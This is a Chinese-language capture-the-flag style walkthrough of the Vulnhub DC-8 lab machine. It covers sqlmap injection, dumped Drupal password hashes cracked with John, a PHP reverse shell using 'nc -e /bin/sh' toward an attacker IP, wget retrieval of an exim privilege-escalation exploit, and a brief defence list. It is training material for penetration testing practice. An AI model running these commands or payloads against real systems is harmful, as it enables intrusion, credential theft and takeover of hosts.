Vulnhub靶机渗透测试之DC-8
字数 1079 2025-08-15 21:33:44
DC-8靶机渗透测试详细教学文档
1. 靶机环境准备
1.1 靶机下载与部署
- 下载地址:https://download.vulnhub.com/dc/DC-8.zip
- 文件格式:.ova虚拟机镜像
- 运行环境:VMware或VirtualBox
- 网络配置:建议使用桥接模式
1.2 攻击机配置
- 推荐使用Kali Linux
- 网络配置:与靶机同一网段
2. 信息收集阶段
2.1 主机发现与端口扫描
使用nmap进行初始扫描:
nmap -sV -p- 192.168.2.25
扫描结果:
- 开放端口:22(SSH)、80(HTTP)
- Web服务:Drupal 7.x CMS
2.2 Web目录扫描
使用dirsearch工具:
python3 dirsearch.py -u http://192.168.2.25 -e php
发现关键目录:登录界面
3. SQL注入利用
3.1 发现注入点
- 导航栏"Details"模块存在注入点
- URL参数:
nid=1'
3.2 使用sqlmap进行自动化注入
3.2.1 基本注入检测
python2 sqlmap.py -u "http://192.168.2.25/?nid=1'"
3.2.2 数据库枚举
# 获取当前数据库
python2 sqlmap.py -u "http://192.168.2.25/?nid=1'" --current-db
# 枚举表
python2 sqlmap.py -u "http://192.168.2.25/?nid=1'" -D d7db --tables
# 枚举users表列
python2 sqlmap.py -u "http://192.168.2.25/?nid=1'" -D d7db -T users --columns
# 提取数据
python2 sqlmap.py -u "http://192.168.2.25/?nid=1'" -D d7db -T users -C name,pass --dump
3.2.3 获取的凭证
admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
4. 密码破解
4.1 使用John the Ripper
- 创建密码文件dc8.txt:
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
- 运行破解:
john dc8.txt
结果:john用户密码为"turtle"
5. Web应用登录与反弹shell
5.1 使用john凭证登录
- 用户名:john
- 密码:turtle
5.2 创建PHP反弹shell
在"Contact Us"页面编辑处插入:
<?php system("nc -e /bin/sh 172.20.10.3 1234"); ?>
5.3 设置监听
在攻击机上:
nc -lvnp 1234
5.4 触发反弹shell
访问修改后的页面,获取初始shell
6. 权限提升
6.1 获取交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
6.2 查找SUID提权机会
find / -user root -perm -4000 -print 2>/dev/null
发现可利用程序:/usr/sbin/exim4
6.3 检查exim4版本
/usr/sbin/exim4 --version
确认版本为4.x
6.4 查找可用漏洞
searchsploit exim 4
找到漏洞利用脚本:46996.sh
6.5 准备利用脚本
- 在攻击机:
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html/shell.sh
service apache2 start
- 在靶机:
cd /tmp
wget http://172.20.10.3/shell.sh
chmod +x shell.sh
6.6 解决格式问题
使用vim修改脚本格式:
:set ff=unix
:wq
6.7 执行提权
./shell.sh -m netcat
成功获取root权限
7. 关键知识点总结
-
信息收集:
- nmap扫描技巧
- Web目录爆破
-
SQL注入:
- 手工识别注入点
- sqlmap高级用法
- 数据库结构分析
-
密码破解:
- John the Ripper使用
- Drupal密码哈希识别
-
Web渗透:
- CMS漏洞利用
- PHP代码注入
- 反弹shell技术
-
权限提升:
- SUID提权原理
- exim4漏洞利用
- Linux二进制漏洞利用
-
问题解决:
- 脚本格式转换
- 环境适配问题处理
8. 防御建议
- 及时更新CMS系统
- 使用参数化查询防止SQL注入
- 加强密码策略
- 限制SUID权限
- 保持系统组件最新版本
- 实施最小权限原则